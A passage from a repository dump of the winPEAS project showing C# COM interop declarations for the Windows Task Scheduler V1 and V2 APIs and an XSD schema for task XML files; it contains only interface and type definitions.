ushort IdleMinutes, [In] ushort DeadlineMinutes);\n        void GetIdleWait([Out] out ushort IdleMinutes, [Out] out ushort DeadlineMinutes);\n        void Run();\n        void Terminate();\n        void EditWorkItem([In] IntPtr hParent, [In] uint dwReserved);\n        [return: MarshalAs(UnmanagedType.Struct)]\n        NativeMethods.SYSTEMTIME GetMostRecentRunTime();\n        TaskStatus GetStatus();\n        uint GetExitCode();\n        void SetComment([In, MarshalAs(UnmanagedType.LPWStr)] string Comment);\n        CoTaskMemString GetComment();\n        void SetCreator([In, MarshalAs(UnmanagedType.LPWStr)] string Creator);\n        CoTaskMemString GetCreator();\n        void SetWorkItemData([In] ushort DataLen, [In, MarshalAs(UnmanagedType.LPArray, SizeParamIndex = 0, ArraySubType = UnmanagedType.U1)] byte[] Data);\n        void GetWorkItemData(out ushort DataLen, [Out] out IntPtr Data);\n        void SetErrorRetryCount([In] ushort RetryCount);\n        ushort GetErrorRetryCount();\n        void SetErrorRetryInterval([In] ushort RetryInterval);\n        ushort GetErrorRetryInterval();\n        void SetFlags([In] TaskFlags Flags);\n        TaskFlags GetFlags();\n        void SetAccountInformation([In, MarshalAs(UnmanagedType.LPWStr)] string AccountName, [In] IntPtr Password);\n        CoTaskMemString GetAccountInformation();\n        void SetApplicationName([In, MarshalAs(UnmanagedType.LPWStr)] string ApplicationName);\n        CoTaskMemString GetApplicationName();\n        void SetParameters([In, MarshalAs(UnmanagedType.LPWStr)] string Parameters);\n        CoTaskMemString GetParameters();\n        void SetWorkingDirectory([In, MarshalAs(UnmanagedType.LPWStr)] string WorkingDirectory);\n        CoTaskMemString GetWorkingDirectory();\n        void SetPriority([In] uint Priority);\n        uint GetPriority();\n        void SetTaskFlags([In] uint Flags);\n        uint GetTaskFlags();\n        void SetMaxRunTime([In] uint MaxRunTimeMS);\n        uint GetMaxRunTime();\n    }\n\n    [Guid(\"148BD52B-A2AB-11CE-B11F-00AA00530503\"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown), System.Security.SuppressUnmanagedCodeSecurity]\n    internal interface ITaskTrigger\n    {\n        void SetTrigger([In, Out, MarshalAs(UnmanagedType.Struct)] ref TaskTrigger Trigger);\n        [return: MarshalAs(UnmanagedType.Struct)]\n        TaskTrigger GetTrigger();\n        CoTaskMemString GetTriggerString();\n    }\n\n    [ComImport, Guid(\"148BD52A-A2AB-11CE-B11F-00AA00530503\"), System.Security.SuppressUnmanagedCodeSecurity, ClassInterface(ClassInterfaceType.None)]\n    internal class CTaskScheduler\n    {\n    }\n\n    [ComImport, Guid(\"148BD520-A2AB-11CE-B11F-00AA00530503\"), System.Security.SuppressUnmanagedCodeSecurity, ClassInterface(ClassInterfaceType.None)]\n    internal class CTask\n    {\n    }\n\n    internal sealed class CoTaskMemString : SafeHandle\n    {\n        public CoTaskMemString() : base(IntPtr.Zero, true) { }\n        public CoTaskMemString(IntPtr handle) : this() { SetHandle(handle); }\n        public CoTaskMemString(string text) : this() { SetHandle(Marshal.StringToCoTaskMemUni(text)); }\n\n        public static implicit operator string(CoTaskMemString cmem) => cmem.ToString();\n\n        public override bool IsInvalid => handle == IntPtr.Zero;\n\n        protected override bool ReleaseHandle()\n        {\n            Marshal.FreeCoTaskMem(handle);\n            return true;\n        }\n\n        public override string ToString() => Marshal.PtrToStringUni(handle);\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/TaskScheduler/V1/TaskSchedulerV1Schema.xsd",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\" ?>\n<xs:schema id=\"TaskSchedulerV1Schema\"\n\ttargetNamespace=\"http://schemas.microsoft.com/windows/2004/02/mit/task\"\n\txmlns:xs=\"http://www.w3.org/2001/XMLSchema\"\n\txmlns=\"http://schemas.microsoft.com/windows/2004/02/mit/task\"\n\txmlns:td=\"http://schemas.microsoft.com/windows/2004/02/mit/task\"\n\telementFormDefault=\"qualified\">\n\n  <xs:element name=\"Task\" type=\"taskType\">\n\n\t<xs:key name=\"PrincipalKey\">\n\t  <xs:selector xpath=\"td:Principals/td:Principal\" />\n\t  <xs:field xpath=\"@id\" />\n\t</xs:key>\n\n\t<!-- Principal id in Context attribute should match an id of some principal in Principals section. -->\n\t<xs:keyref name=\"ContextKeyRef\" refer=\"PrincipalKey\">\n\t  <xs:selector xpath=\"td:Actions\" />\n\t  <xs:field xpath=\"@Context\" />\n\t</xs:keyref>\n\n\t<!-- All ids must be unique -->\n\t<xs:unique name=\"UniqueId\">\n\t  <xs:selector xpath=\"td:Principals/td:Principal|td:Triggers/td:BootTrigger|td:Triggers/td:IdleTrigger|td:Triggers/td:TimeTrigger|td:Triggers/td:LogonTrigger|td:Triggers/td:CalendarTrigger|td:Actions/td:Exec\" />\n\t  <xs:field xpath=\"@id\" />\n\t</xs:unique>\n\n  </xs:element>\n\n  <xs:simpleType name=\"nonEmptyString\">\n\t<xs:restriction base=\"xs:string\">\n\t  <xs:minLength value=\"1\"/>\n\t</xs:restriction>\n  </xs:simpleType>\n\n  <xs:simpleType name=\"pathType\">\n\t<xs:restriction base=\"nonEmptyString\">\n\t  <xs:maxLength value=\"260\"/>\n\t</xs:restriction>\n  </xs:simpleType>\n\n  <xs:simpleType name=\"versionType\">\n\t<xs:restriction base=\"xs:string\">\n\t  <xs:pattern value=\"\\d+(\\.\\d+){1,3}\" />\n\t</xs:restriction>\n  </xs:simpleType>\n\n  <!-- Task -->\n  <xs:complexType name=\"taskType\">\n\t<xs:all>\n\t  <xs:element name=\"RegistrationInfo\" type=\"registrationInfoType\" minOccurs=\"0\" />\n\t  <xs:element name=\"Triggers\"         type=\"triggersType\"         minOccurs=\"0\" />\n\t  <xs:element name=\"Settings\"         type=\"settingsType\"         minOccurs=\"0\" />\n\t  <xs:element name=\"Data\"             type=\"dataType\"             minOccurs=\"0\" />\n\t  <xs:element name=\"Principals\"       type=\"principalsType\"       minOccurs=\"0\" />\n\t  <xs:element name=\"Actions\"          type=\"actionsType\" />\n\t</xs:all>\n\t<xs:attribute name=\"version\" use=\"optional\" fixed=\"1.1\" type=\"versionType\" />\n  </xs:complexType>\n\n  <!-- RegistrationInfo -->\n  <xs:complexType name=\"registrationInfoType\">\n\t<xs:all>\n\t\t<xs:element name=\"URI\"                type=\"xs:anyURI\"                  minOccurs=\"0\" />\n\t\t<xs:element name=\"SecurityDescriptor\" type=\"xs:string\"                  minOccurs=\"0\" />\n\t\t<xs:element name=\"Source\"             type=\"xs:string\"                  minOccurs=\"0\" />\n\t\t<xs:element name=\"Date\"               type=\"xs:dateTime\"                minOccurs=\"0\" />\n\t\t<xs:element name=\"Author\"             type=\"xs:string\"                  minOccurs=\"0\" />\n\t\t<xs:element name=\"Version\"            type=\"xs:string\"                  minOccurs=\"0\" />\n\t\t<xs:element name=\"Description\"        type=\"xs:string\"                  minOccurs=\"0\" />\n\t\t<xs:element name=\"Documentation\"      type=\"xs:string\"                  minOccurs=\"0\" />\n\t</xs:all>\n  </xs:complexType>\n\n  <!-- Triggers -->\n  <xs:complexType name=\"triggersType\">\n\t<xs:group ref=\"triggerGroup\" minOccurs=\"0\" maxOccurs=\"48\"/>\n  </xs:complexType>\n  \n  <xs:group name=\"triggerGroup\">\n\t<xs:choice>\n\t  <xs:element name=\"BootTrigger\"               type=\"bootTriggerType\"               minOccurs=\"0\" />\n\t  <xs:element name=\"IdleTrigger\"               type=\"idleTriggerType\"               minOccurs=\"0\" />\n\t  <xs:element name=\"TimeTrigger\"               type=\"timeTriggerType\"               minOccurs=\"0\" />\n\t  <xs:element name=\"LogonTrigger\"              type=\"logonTriggerType\"              minOccurs=\"0\" />\n\t  <xs:element name=\"CalendarTrigger\"           type=\"calendarTriggerType\"           minOccurs=\"0\" />\n\t</xs:choice>\n  </xs:group>\n\n  <!-- Base type for all triggers -->\n  <xs:complexType name=\"triggerBaseType\" abstract=\"true\">\n\t<xs:sequence>\n\t  <xs:element name=\"Enabled\"            type=\"xs:boolean\"     default=\"true\"  minOccurs=\"0\" />\n\t  <xs:element name=\"StartBoundary\"      type=\"xs:dateTime\"                    minOccurs=\"0\" />\n\t  <xs:element name=\"EndBoundary\"        type=\"xs:dateTime\"                    minOccurs=\"0\" />\n\t  <xs:element name=\"Repetition\"         type=\"repetitionType\"                 minOccurs=\"0\" />\n\t</xs:sequence>\n  </xs:complexType>\n\n  <!-- Repetition -->\n  <xs:complexType name=\"repetitionType\">\n\t<xs:all>\n\t  <xs:element name=\"Interval\">\n\t\t<xs:simpleType>\n\t\t  <xs:restriction base=\"xs:duration\">\n\t\t\t<xs:minInclusive value=\"PT1M\"/>\n\t\t\t<xs:maxInclusive value=\"P31D\"/>\n\t\t  </xs:restriction>\n\t\t</xs:simpleType>\n\t  </xs:element>\n\t  <xs:element name=\"Duration\" minOccurs=\"0\">\n\t\t<xs:simpleType>\n\t\t  <xs:restriction base=\"xs:duration\">\n\t\t\t<xs:minInclusive value=\"PT1M\"/>\n\t\t  </xs:restriction>\n\t\t</xs:simpleType>\n\t  </xs:element>\n\t  <xs:element name=\"StopAtDurationEnd\"    type=\"xs:boolean\" default=\"false\" minOccurs=\"0\" />\n\t</xs:all>\n  </xs:complexType>\n\n  <!-- BootTrigger -->\n  <xs:complexType name=\"bootTriggerType\">\n\t<xs:complexContent>\n\t  <xs:extension base=\"triggerBaseType\" />\n\t</xs:complexContent>\n  </xs:complexType>\n\n  <!-- IdleTrigger -->\n  <xs:complexType name=\"idleTriggerType\">\n\t<xs:complexContent>\n\t  <xs:extension base=\"triggerBaseType\" />\n\t</xs:complexContent>\n  </xs:complexType>\n\n  <!-- TimeTrigger -->\n  <xs:complexType name=\"timeTriggerType\">\n\t<xs:complexContent>\n\t  <xs:extension base=\"triggerBaseType\" />\n\t</xs:complexContent>\n  </xs:complexType>\n\n  <!-- LogonTrigger -->\n  <xs:complexType name=\"logonTriggerType\">\n\t<xs:complexContent>\n\t  <xs:extension base=\"triggerBaseType\" />\n\t</xs:complexContent>\n  </xs:complexType>\n\n  <!-- CalendarTrigger -->\n  <xs:complexType name=\"calendarTriggerType\">\n\t<xs:complexContent>\n\t  <xs:extension base=\"triggerBaseType\">\n\t\t<xs:sequence>\n\t\t  <xs:choice>\n\t\t\t<xs:element name=\"ScheduleByDay\"            type=\"dailyScheduleType\" />\n\t\t\t<xs:element name=\"ScheduleByWeek\"           type=\"weeklyScheduleType\" />\n\t\t\t<xs:element name=\"ScheduleByMonth\"          type=\"monthlyScheduleType\" />\n\t\t\t<xs:element name=\"ScheduleByMonthDayOfWeek\" type=\"monthlyDayOfWeekScheduleType\" />\n\t\t  </xs:choice>\n\t\t</xs:sequence>\n\t  </xs:extension>\n\t</xs:complexContent>\n  </xs:complexType>\n\n  <!-- DailySchedule -->\n  <xs:complexType name=\"dailyScheduleType\">\n\t<xs:all>\n\t  <xs:element name=\"DaysInterval\" minOccurs=\"0\">\n\t\t<xs:simpleType>\n\t\t  <xs:restriction base=\"xs:unsignedInt\">\n\t\t\t<xs:minInclusive value=\"1\"/>\n\t\t\t<xs:maxInclusive value=\"365\"/>\n\t\t  </xs:restriction>\n\t\t</xs:simpleType>\n\t  </xs:element>\n\t</xs:all>\n  </xs:complexType>\n\n  <!-- WeeklySchedule -->\n  <xs:complexType name=\"weeklyScheduleType\">\n\t<xs:all>\n\t  <xs:element name=\"WeeksInterval\" minOccurs=\"0\">\n\t\t<xs:simpleType>\n\t\t  <xs:restriction base=\"xs:unsignedByte\">\n\t\t\t<xs:minInclusive value=\"1\"/>\n\t\t\t<xs:maxInclusive value=\"52\"/>\n\t\t  </xs:restriction>\n\t\t</xs:simpleType>\n\t  </xs:element>\n\t  <xs:element name=\"DaysOfWeek\" type=\"daysOfWeekType\" minOccurs=\"0\" />\n\t</xs:all>\n  </xs:complexType>\n\n  <!-- MonthlySchedule -->\n  <xs:complexType name=\"monthlyScheduleType\">\n\t<xs:all>\n\t  <xs:element name=\"DaysOfMonth\" type=\"daysOfMonthType\" minOccurs=\"0\" />\n\t  <xs:element name=\"Months\" type=\"monthsType\" minOccurs=\"0\" />\n\t</xs:all>\n  </xs:complexType>\n\n  <!-- MonthlyDayOfWeekSchedule -->\n  <xs:complexType name=\"monthlyDayOfWeekScheduleType\">\n\t<xs:all>\n\t  <xs:element name=\"Weeks\"        type=\"weeksType\" minOccurs=\"0\" />\n\t  <xs:element name=\"DaysOfWeek\"   type=\"daysOfWeekType\" />\n\t  <xs:element name=\"Months\"       type=\"monthsType\" minOccurs=\"0\" />\n\t</xs:all>\n  </xs:complexType>\n\n  <!-- DaysOfWeek -->\n  <xs:complexType name=\"daysOfWeekType\">\n\t<xs:all>\n\t  <xs:element name=\"Monday\"       fixed=\"\" minOccurs=\"0\" />\n\t  <xs:element name=\"Tuesday\"      fixed=\"\" minOccurs=\"0\" />\n\t  <xs:element name=\"Wednesday\"    fixed=\"\" minOccurs=\"0\" />\n\t  <xs:element name=\"Thursday\"     fixed=\"\" minOccurs=\"0\" />\n\t  <xs:element name=\"Friday\"       fixed=\"\" minOccurs=\"0\" />\n\t  <xs:element name=\"Saturday\"     fixed=\"\" minOccurs=\"0\" />\n\t  <xs:element name=\"Sunday\"       fixed=\"\" minOccurs=\"0\" />\n\t</xs:all>\n  </xs:complexType>\n\n  <!-- Months -->\n  <xs:complexType name=\"monthsType\">\n\t<xs:all>\n\t  <xs:element name=\"January\"      fixed=\"\" minOccurs=\"0\" />\n\t  <xs:element name=\"February\"     fixed=\"\" minOccurs=\"0\" />\n\t  <xs:element name=\"March\"        fixed=\"\" minOccurs=\"0\" />\n\t  <xs:element name=\"April\"        fixed=\"\" minOccurs=\"0\" />\n\t  <xs:element name=\"May\"          fixed=\"\" minOccurs=\"0\" />\n\t  <xs:element name=\"June\"         fixed=\"\" minOccurs=\"0\" />\n\t  <xs:element name=\"July\"         fixed=\"\" minOccurs=\"0\" />\n\t  <xs:element name=\"August\"       fixed=\"\" minOccurs=\"0\" />\n\t  <xs:element name=\"September\"    fixed=\"\" minOccurs=\"0\" />\n\t  <xs:element name=\"October\"      fixed=\"\" minOccurs=\"0\" />\n\t  <xs:element name=\"November\"     fixed=\"\" minOccurs=\"0\" />\n\t  <xs:element name=\"December\"     fixed=\"\" minOccurs=\"0\" />\n\t</xs:all>\n  </xs:complexType>\n\n  <!-- DaysOfMonth -->\n  <xs:complexType name=\"daysOfMonthType\">\n\t<xs:sequence>\n\t  <xs:element name=\"Day\" type=\"dayOfMonthType\" minOccurs=\"0\" maxOccurs=\"32\" />\n\t</xs:sequence>\n  </xs:complexType>\n  <xs:simpleType name=\"dayOfMonthType\">\n\t<xs:restriction base=\"xs:string\">\n\t  <xs:pattern value=\"[1-9]|[1-2][0-9]|3[0-1]|Last\" />\n\t</xs:restriction>\n  </xs:simpleType>\n\n  <!-- Weeks -->\n  <xs:complexType name=\"weeksType\">\n\t<xs:sequence>\n\t  <xs:element name=\"Week\" type=\"weekType\" minOccurs=\"0\" maxOccurs=\"5\" />\n\t</xs:sequence>\n  </xs:complexType>\n  <xs:simpleType name=\"weekType\">\n\t<xs:restriction base=\"xs:string\">\n\t  <xs:pattern value=\"[1-4]|Last\" />\n\t</xs:restriction>\n  </xs:simpleType>\n\n  <!-- Settings -->\n  <xs:complexType name=\"settingsType\">\n\t<xs:all>\n\t  <xs:element name=\"DisallowStartIfOnBatteries\"       type=\"xs:boolean\"                   default=\"true\"      minOccurs=\"0\" />\n\t  <xs:element name=\"StopIfGoingOnBatteries\"           type=\"xs:boolean\"                   default=\"true\"      minOccurs=\"0\" />\n\t  <xs:element name=\"RunOnlyIfNetworkAvailable\"        type=\"xs:boolean\"                   default=\"false\"     minOccurs=\"0\" />\n\t  <xs:element name=\"WakeToRun\"                        type=\"xs:boolean\"                   default=\"false\"     minOccurs=\"0\" />\n\t  <xs:element name=\"Enabled\"                          type=\"xs:boolean\"                   default=\"true\"      minOccurs=\"0\" />\n\t  <xs:element name=\"Hidden\"                           type=\"xs:boolean\"                   default=\"false\"     minOccurs=\"0\" />\n\t  <xs:element name=\"DeleteExpiredTaskAfter\"           type=\"xs:duration\"                  default=\"PT0S\"      minOccurs=\"0\" />\n\t  <xs:element name=\"IdleSettings\"                     type=\"idleSettingsType\"                                 minOccurs=\"0\" />\n\t  <xs:element name=\"ExecutionTimeLimit\"               type=\"xs:duration\"                  default=\"PT72H\"     minOccurs=\"0\" />\n\t  <xs:element name=\"Priority\"                         type=\"priorityType\"                 default=\"7\"         minOccurs=\"0\" />\n\t  <xs:element name=\"RunOnlyIfIdle\"                    type=\"xs:boolean\"                   default=\"false\"     minOccurs=\"0\" />\n\t</xs:all>\n  </xs:complexType>\n\n  <!-- Lower number means higher priority. -->\n  <xs:simpleType name=\"priorityType\">\n\t<xs:restriction base=\"xs:byte\">\n\t  <xs:minInclusive value=\"0\" fixed=\"true\" />\n\t  <xs:maxInclusive value=\"10\" fixed=\"true\" />\n\t</xs:restriction>\n  </xs:simpleType>\n\n  <!-- IdleSettings -->\n  <xs:complexType name=\"idleSettingsType\">\n\t<xs:all>\n\t  <xs:element name=\"Duration\" default=\"PT10M\" minOccurs=\"0\">\n\t\t<xs:simpleType>\n\t\t  <xs:restriction base=\"xs:duration\">\n\t\t\t<xs:minInclusive value=\"PT1M\"/>\n\t\t  </xs:restriction>\n\t\t</xs:simpleType>\n\t  </xs:element>\n\t  <xs:element name=\"WaitTimeout\" default=\"PT1H\"  minOccurs=\"0\">\n\t\t<xs:simpleType>\n\t\t  <xs:restriction base=\"xs:duration\">\n\t\t\t<xs:minInclusive value=\"PT1M\"/>\n\t\t  </xs:restriction>\n\t\t</xs:simpleType>\n\t  </xs:element>\n\t  <xs:element name=\"StopOnIdleEnd\" type=\"xs:boolean\"  default=\"true\"  minOccurs=\"0\" />\n\t  <xs:element name=\"RestartOnIdle\" type=\"xs:boolean\"  default=\"false\" minOccurs=\"0\" />\n\t</xs:all>\n  </xs:complexType>\n\n  <!-- Data -->\n  <xs:complexType name=\"dataType\">\n\t<xs:sequence>\n\t  <xs:any />\n\t</xs:sequence>\n  </xs:complexType>\n\n  <!-- Principals -->\n  <xs:complexType name=\"principalsType\">\n\t<xs:sequence>\n\t  <xs:element name=\"Principal\" type=\"principalType\" maxOccurs=\"1\" />\n\t</xs:sequence>\n  </xs:complexType>\n\n  <!-- Principal -->\n  <xs:complexType name=\"principalType\">\n\t<xs:all>\n\t  <xs:element name=\"UserId\" type=\"nonEmptyString\" minOccurs=\"0\" />\n\t  <xs:element name=\"LogonType\" type=\"logonType\" minOccurs=\"0\" maxOccurs=\"1\"/>\n\t</xs:all>\n  </xs:complexType>\n  \n  <xs:simpleType name=\"logonType\">\n\t<xs:restriction base=\"xs:string\">\n\t  <xs:enumeration value=\"Password\" />\n\t  <xs:enumeration value=\"InteractiveToken\" />\n\t  <xs:enumeration value=\"InteractiveTokenOrPassword\" />\n\t</xs:restriction>\n  </xs:simpleType>\n\n  <!-- Actions -->\n  <xs:complexType name=\"actionsType\">\n\t<xs:sequence>\n\t  <xs:group ref=\"actionGroup\" maxOccurs=\"1\" />\n\t</xs:sequence>\n\t<xs:attribute name=\"Context\" type=\"xs:IDREF\" use=\"optional\" />\n  </xs:complexType>\n\n  <xs:group name=\"actionGroup\">\n\t  <xs:choice>\n\t\t  <xs:element name=\"Exec\"          type=\"execType\" />\n\t\t  <xs:element name=\"ComHandler\"    type=\"comHandlerType\" />\n\t\t  <xs:element name=\"SendEmail\"     type=\"sendEmailType\" />\n\t\t  <xs:element name=\"ShowMessage\"   type=\"showMessageType\" />\n\t  </xs:choice>\n  </xs:group>\n\n  <!-- Base type for actions. -->\n  <xs:complexType name=\"actionBaseType\" abstract=\"true\">\n\t  <xs:attribute name=\"id\" type=\"xs:ID\" use=\"optional\" />\n  </xs:complexType>\n\n  <!-- Exec -->\n  <xs:complexType name=\"execType\">\n\t<xs:complexContent>\n\t  <xs:extension base=\"actionBaseType\">\n\t\t<xs:all>\n\t\t  <xs:element name=\"Command\"          type=\"pathType\"/>\n\t\t  <xs:element name=\"Arguments\"        type=\"xs:string\" minOccurs=\"0\"/>\n\t\t  <xs:element name=\"WorkingDirectory\" type=\"pathType\" minOccurs=\"0\"/>\n\t\t</xs:all>\n\t  </xs:extension>\n\t</xs:complexContent>\n  </xs:complexType>\n\n\t<!-- ComHandler -->\n\t<xs:complexType name=\"comHandlerType\">\n\t\t<xs:complexContent>\n\t\t\t<xs:extension base=\"actionBaseType\">\n\t\t\t\t<xs:all>\n\t\t\t\t\t<xs:element name=\"ClassId\"  type=\"guidType\" />\n\t\t\t\t\t<xs:element name=\"Data\"     type=\"dataType\" minOccurs=\"0\" />\n\t\t\t\t</xs:all>\n\t\t\t</xs:extension>\n\t\t</xs:complexContent>\n\t</xs:complexType>\n\n\t<xs:simpleType name=\"guidType\">\n\t\t<xs:restriction base=\"xs:string\">\n\t\t\t<!-- GUID should be in a form: {xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx} where x is a hexadecimal digit. -->\n\t\t\t<xs:pattern value=\"[\\{]?([0-9a-fA-F]){8}(\\-[0-9a-fA-F]{4}){3}\\-[0-9a-fA-F]{12}[\\}]?\" />\n\t\t</xs:restriction>\n\t</xs:simpleType>\n\n\t<!-- SendEmail -->\n\t<xs:complexType name=\"sendEmailType\">\n\t\t<xs:complexContent>\n\t\t\t<xs:extension base=\"actionBaseType\">\n\t\t\t\t<xs:all>\n\t\t\t\t\t<xs:element name=\"Server\"       type=\"nonEmptyString\" />\n\t\t\t\t\t<xs:element name=\"Subject\"      type=\"xs:string\"        minOccurs=\"0\" />\n\t\t\t\t\t<xs:element name=\"To\"           type=\"xs:string\"        minOccurs=\"0\" />\n\t\t\t\t\t<xs:element name=\"Cc\"           type=\"xs:string\"        minOccurs=\"0\" />\n\t\t\t\t\t<xs:element name=\"Bcc\"          type=\"xs:string\"        minOccurs=\"0\" />\n\t\t\t\t\t<xs:element name=\"ReplyTo\"      type=\"xs:string\"        minOccurs=\"0\" />\n\t\t\t\t\t<xs:element name=\"From\"         type=\"xs:string\"        minOccurs=\"0\" />\n\t\t\t\t\t<xs:element name=\"HeaderFields\" type=\"headerFieldsType\" minOccurs=\"0\" />\n\t\t\t\t\t<xs:element name=\"Body\"         type=\"xs:string\"        minOccurs=\"0\" />\n\t\t\t\t\t<xs:element name=\"Attachments\"  type=\"attachmentsType\"  minOccurs=\"0\" />\n\t\t\t\t</xs:all>\n\t\t\t</xs:extension>\n\t\t</xs:complexContent>\n\t</xs:complexType>\n\n\t<xs:complexType name=\"headerFieldsType\">\n\t\t<xs:sequence>\n\t\t\t<xs:element name=\"HeaderField\"  type=\"headerFieldType\"  minOccurs=\"0\"   maxOccurs=\"32\"/>\n\t\t</xs:sequence>\n\t</xs:complexType>\n\n\t<xs:complexType name=\"headerFieldType\">\n\t\t<xs:all>\n\t\t\t<xs:element name=\"Name\"         type=\"nonEmptyString\" />\n\t\t\t<xs:element name=\"Value\"        type=\"xs:string\" />\n\t\t</xs:all>\n\t</xs:complexType>\n\n\t<xs:complexType name=\"attachmentsType\">\n\t\t<xs:sequence>\n\t\t\t<xs:element name=\"File\"  type=\"nonEmptyString\"  minOccurs=\"0\"   maxOccurs=\"8\"/>\n\t\t</xs:sequence>\n\t</xs:complexType>\n\n\t<!-- ShowMessage -->\n\t<xs:complexType name=\"showMessageType\">\n\t\t<xs:complexContent>\n\t\t\t<xs:extension base=\"actionBaseType\">\n\t\t\t\t<xs:all>\n\t\t\t\t\t<xs:element name=\"Title\"  type=\"nonEmptyString\" />\n\t\t\t\t\t<xs:element name=\"Body\"   type=\"nonEmptyString\" />\n\t\t\t\t</xs:all>\n\t\t\t</xs:extension>\n\t\t</xs:complexContent>\n\t</xs:complexType>\n\n</xs:schema>"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/TaskScheduler/V2/TaskSchedulerV2Interop.cs",
    "content": "﻿using System;\nusing System.Collections;\nusing System.Reflection;\nusing System.Runtime.CompilerServices;\nusing System.Runtime.InteropServices;\nusing winPEAS.TaskScheduler.TaskEditor.Native;\n\nnamespace winPEAS.TaskScheduler.V2\n{\n\n    internal enum TaskEnumFlags\n    {\n        Hidden = 1\n    }\n\n#pragma warning disable CS0618 // Type or member is obsolete\n    [ComImport, Guid(\"BAE54997-48B1-4CBE-9965-D6BE263EBEA4\"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity]\n    internal interface IAction\n    {\n        string Id { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        TaskActionType Type { get; }\n    }\n\n    [ComImport, Guid(\"02820E19-7B98-4ED2-B2E8-FDCCCEFF619B\"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity]\n    internal interface IActionCollection\n    {\n        int Count { get; }\n        IAction this[int index] { [return: MarshalAs(UnmanagedType.Interface)] get; }\n        [return: MarshalAs(UnmanagedType.Interface)]\n        IEnumerator GetEnumerator();\n        string XmlText { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        [return: MarshalAs(UnmanagedType.Interface)]\n        IAction Create([In] TaskActionType Type);\n        void Remove([In, MarshalAs(UnmanagedType.Struct)][NotNull] object index);\n        void Clear();\n        string Context { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n    }\n\n    [ComImport, Guid(\"2A9C35DA-D357-41F4-BBC1-207AC1B1F3CB\"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity]\n    internal interface IBootTrigger : ITrigger\n    {\n        new TaskTriggerType Type { get; }\n        new string Id { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        new IRepetitionPattern Repetition { [return: MarshalAs(UnmanagedType.Interface)] get; [param: In, MarshalAs(UnmanagedType.Interface)] set; }\n        new string ExecutionTimeLimit { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        new string StartBoundary { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        new string EndBoundary { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        new bool Enabled { get; [param: In] set; }\n\n        string Delay { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n    }\n\n    [ComImport, Guid(\"6D2FD252-75C5-4F66-90BA-2A7D8CC3039F\"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity]\n    internal interface IComHandlerAction : IAction\n    {\n        new string Id { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        new TaskActionType Type { get; }\n        string ClassId { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        string Data { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n    }\n\n    [ComImport, InterfaceType(ComInterfaceType.InterfaceIsDual), Guid(\"126C5CD8-B288-41D5-8DBF-E491446ADC5C\"), System.Security.SuppressUnmanagedCodeSecurity]\n    internal interface IDailyTrigger : ITrigger\n    {\n        new TaskTriggerType Type { get; }\n        new string Id { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        new IRepetitionPattern Repetition { [return: MarshalAs(UnmanagedType.Interface)] get; [param: In, MarshalAs(UnmanagedType.Interface)] set; }\n        new string ExecutionTimeLimit { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        new string StartBoundary { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        new string EndBoundary { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        new bool Enabled { get; [param: In] set; }\n\n        short DaysInterval { get; [param: In] set; }\n        string RandomDelay { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n    }\n\n    [ComImport, Guid(\"10F62C64-7E16-4314-A0C2-0C3683F99D40\"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity]\n    internal interface IEmailAction : IAction\n    {\n        new string Id { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        new TaskActionType Type { get; }\n\n        string Server { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        string Subject { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        string To { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        string Cc { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        string Bcc { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        string ReplyTo { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        string From { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        ITaskNamedValueCollection HeaderFields { [return: MarshalAs(UnmanagedType.Interface)] get; [param: In, 